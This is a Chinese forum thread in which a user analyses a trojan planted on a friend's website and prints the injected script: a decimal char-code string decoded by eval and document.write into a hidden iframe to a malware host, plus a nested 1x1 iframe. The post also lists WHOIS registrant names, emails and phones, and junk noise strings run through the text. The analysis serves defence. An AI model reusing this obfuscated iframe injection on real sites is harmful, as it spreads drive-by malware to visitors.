社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5859阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, F5&4x"c  
b\H~Ot[i  
http://www.areway.cn/?p=175 Zj!S('hSY  
&eyFApM[Z  
K*p^Gs,  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: mtmtOG_/=  
          =3""D{l  
<script>t=’60,105,102,114,97,109,101, #^#N%_8  
32,115,114,99,61,104,116,116,112,58,47,47, eEupqOF*:W  
102,114,101,101,46,117,45,117,117,117,46,99, g9p#v$V  
110,47,101,114,114,111,114,46,104,116,109, \tU91 VIj  
32,119,105,100,116,104,61,49,48,48,32,104, 1+Ja4`o,iS  
101,105,103,104,116,61,48,62,60,47,105,102, 0=7C-A1(D  
114,97,109,101,62′; Xg#Dbf4  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> P4ot, Q4  
                                                                                                  _^dWJ0  
<script>t=’60,105,102,114,97,109,101,32,115, #%B1, .A  
114,99,61,104,116,116,112,58,47,47,102,114, 9A)(K,  
101,101,46,117,45,117,117,117,46,99,110,47, =as]>?<  
101,114,114,111,114,46,104,116,109,32,119, rVFAwbR  
105,100,116,104,61,49,48,48,32,104,101,105, N!r@M."  
103,104,116,61,48,62,60,47,105,102,114,97, xlS t  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ~ia#=|1}  
document.write(t);</script> a)[tkjU  
                                                                                                  0;r+E*`DA  
<html xmlns=” ]r6,^"  
http://www.w3.org/1999/xhtml ; #e-pkV  
“> &c?-z}=G  
<head> A]ciox$AjW  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> d;H1B/  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> HI)ks~E/  
<title>首页 - 爱生活家庭网 NCl$vc;,  
                                                                                                                                                    19&!#z  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Dy0cA| E  
转换字符串后的大概内容是(谁点击后果自付): cAA J7?  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… V=\&eS4^"  
                                                                                                                                  ub./U@ 1  
查询玉米u-uuu.cn的详细信息: cM.q^{d`  
Domain Name: u-uuu.cn K|E}Ni  
ROID: 20070901s10001s64972306-cn F(}d|z@@  
Domain Status: ok l'?/$?'e_Z  
Registrant Organization: 王雷 Cm(Hu  
Registrant Name: 王雷 y! 7;Z~"  
Administrative Email: czlovexs@126.com a'XCT@B  
Sponsoring Registrar: 北京万网志成科技有限公司 P[aB}<1f0  
Name Server:ns.yovole.com Vad(PS0  
Name Server:ns1.yovole.com 5|&Sg}_  
Registration Date: 2007-09-01 17:54 .KTDQA\  
Expiration Date: 2008-09-01 17:54 9akCvY#Q  
最后PING了一下地址 都没有什么…. ); 7csh%  
                                                                                                )xlNj$(x5n  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ${0Xq k  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> "kVN|Do  
<script language=”javascript” src=” 7H++ pOF  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Q->'e-\E<"  
> ~\Fde^1  
这个玉米应该有可能是木马作者的: A&)P_B1|  
foafau.info的详细信息: W)$;T%u  
Access to INFO WHOIS information is provided to assist persons in o7&Z4(V  
determining the contents of a domain name registration record in the !5Z?D8dcx  
Afilias registry database. The data in this record is provided by J6rXb ui$  
Afilias Limited for informational purposes only, and Afilias does not :G,GHU'/78  
guarantee its accuracy.  This service is intended only for query-based  H[fD >  
access. You agree that you will use this data only for lawful purposes zxTm`Dh;[  
and that, under no circumstances will you use this data to: (a) allow, \d]&}`'4{f  
enable, or otherwise support the transmission by e-mail, telephone, or U~!97,|ic  
facsimile of mass unsolicited, commercial advertising or solicitations  FxD\F  
to entities other than the data recipient’s own existing customers; or uWvl<{2  
(b) enable high volume, automated, electronic processes that send **dGK_^T0  
queries or data to the systems of Registry Operator, a Registrar, or Nbuaw[[iz  
Afilias except as reasonably necessary to register domain names or h9&<-k  
modify existing registrations. All rights reserved. Afilias reserves DV]Kd 7  
the right to modify these terms at any time. By submitting this query, &%C4rAd2  
you agree to abide by this policy. M\>y&'J-  
Domain ID:D22418703-LRMS !f yE Hk  
Domain Name:FOAFAU.INFO ~)Ny8Dh  
Created On:20-Nov-2007 16:05:42 UTC OCY7Bls4  
Last Updated On:20-Nov-2007 16:05:44 UTC  2gb49y~  
Expiration Date:20-Nov-2008 16:05:42 UTC ZLxe$.V_  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) hDjsGB|Fz  
Status:CLIENT DELETE PROHIBITED _OHz6ag  
Status:CLIENT RENEW PROHIBITED IeZ}`$[H  
Status:CLIENT TRANSFER PROHIBITED &=K-~!?  
Status:CLIENT UPDATE PROHIBITED _QkU,[E  
Status:TRANSFER PROHIBITED ~u/Enl7\-  
Registrant ID:GODA-040110615 jKM-(s!(  
Registrant Name:liu hong VDCrFZ!]  
Registrant Organization: *M6M'>Tin  
Registrant Street1:beijing KvkiwO(  
Registrant Street2: E':y3T@."  
Registrant Street3: g6;O)b  
Registrant City:beijing pG:FDlR~  
Registrant State/Province: H /*^$>0Uo  
Registrant Postal Code:100000 ?gH[tN:=  
Registrant Country:CN 0JKbp*H  
Registrant Phone:+86.860108888777 /p?h@6h@y  
Registrant Phone Ext.: R8O<} >3a  
Registrant FAX: ~$YFfv>  
Registrant FAX Ext.: gXc&uR0S  
Registrant Email:bbbshiji@163.com xBR2tDi%  
Admin ID:GODA-240110615 v=iz*2+X  
Admin Name:liu hong V?0|#=_mE  
Admin Organization: Kc}FMu  
Admin Street1:beijing 3[-L'!pOX3  
Admin Street2: 8mV`|2>  
Admin Street3: >=r094<  
Admin City:beijing aG`G$3_wx  
Admin State/Province: ~Se/uL;*  
Admin Postal Code:100000 FwmE1,  
Admin Country:CN on\0i{0l8  
Admin Phone:+86.860108888777 =/V r,y$  
Admin Phone Ext.: >eWHPO  
Admin FAX: gj$gqO`B  
Admin FAX Ext.: PHT;%;m=  
Admin Email:bbbshiji@163.com !@p@u;djJ  
Billing ID:GODA-340110615 \7jcZ~FBX%  
Billing Name:liu hong X];a(7+2  
Billing Organization: y85GKysT  
Billing Street1:beijing &*T57tE  
Billing Street2: "((6)U#  
Billing Street3: htkn#s~=  
Billing City:beijing Jg/WE1p>  
Billing State/Province: (B7M*e  
Billing Postal Code:100000 {*yhiE,  
Billing Country:CN &HT P eB  
Billing Phone:+86.860108888777 q J@XVN4   
Billing Phone Ext.: 0_,V}  
Billing FAX: 'FO^VJ;ha  
Billing FAX Ext.: O`rAqO0F  
Billing Email:bbbshiji@163.com rnEWTk7&  
Tech ID:GODA-140110615 :M'3U g$t  
Tech Name:liu hong U3 ED3) D  
Tech Organization: UXR$7<D+  
Tech Street1:beijing pV:X_M6  
Tech Street2: H [R|U   
Tech Street3: ^Me__Y  
Tech City:beijing uRxo,.}c  
Tech State/Province: ,.x1+9X  
Tech Postal Code:100000  ceyZ4M  
Tech Country:CN Mpb|qGi!  
Tech Phone:+86.860108888777 vb\UP&Ip  
Tech Phone Ext.: Ub4j3`  
Tech FAX: [gqV}Y"Md  
Tech FAX Ext.: <eQS16  
Tech Email:bbbshiji@163.com P0 hC4Sxf  
Name Server:NS27.DOMAINCONTROL.COM GyRU/0'BME  
Name Server:NS28.DOMAINCONTROL.COM yLipuMNV  
Name Server: $l7 <j_C  
Name Server: `:R8~>p  
Name Server:  gX.4I;  
Name Server: s@K|zOx  
Name Server: ko=vK%E[  
Name Server: gM^ Hs7o,  
Name Server: Aum&U){yY  
Name Server: Kw"7M~  
Name Server: o3qBRT0[R  
Name Server: -jFvDf,M,D  
Name Server: }9:d(B9;  
                                                                                                          G# .z((Rj  
接着下载每个文件里面的代码: m80QMosp  
一步一步看.. u\<z5O  
l" *zr ;#  
6rq:jvlx$  
j^Bo0{{  
?2aglj*"v,  
QUH USDT  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八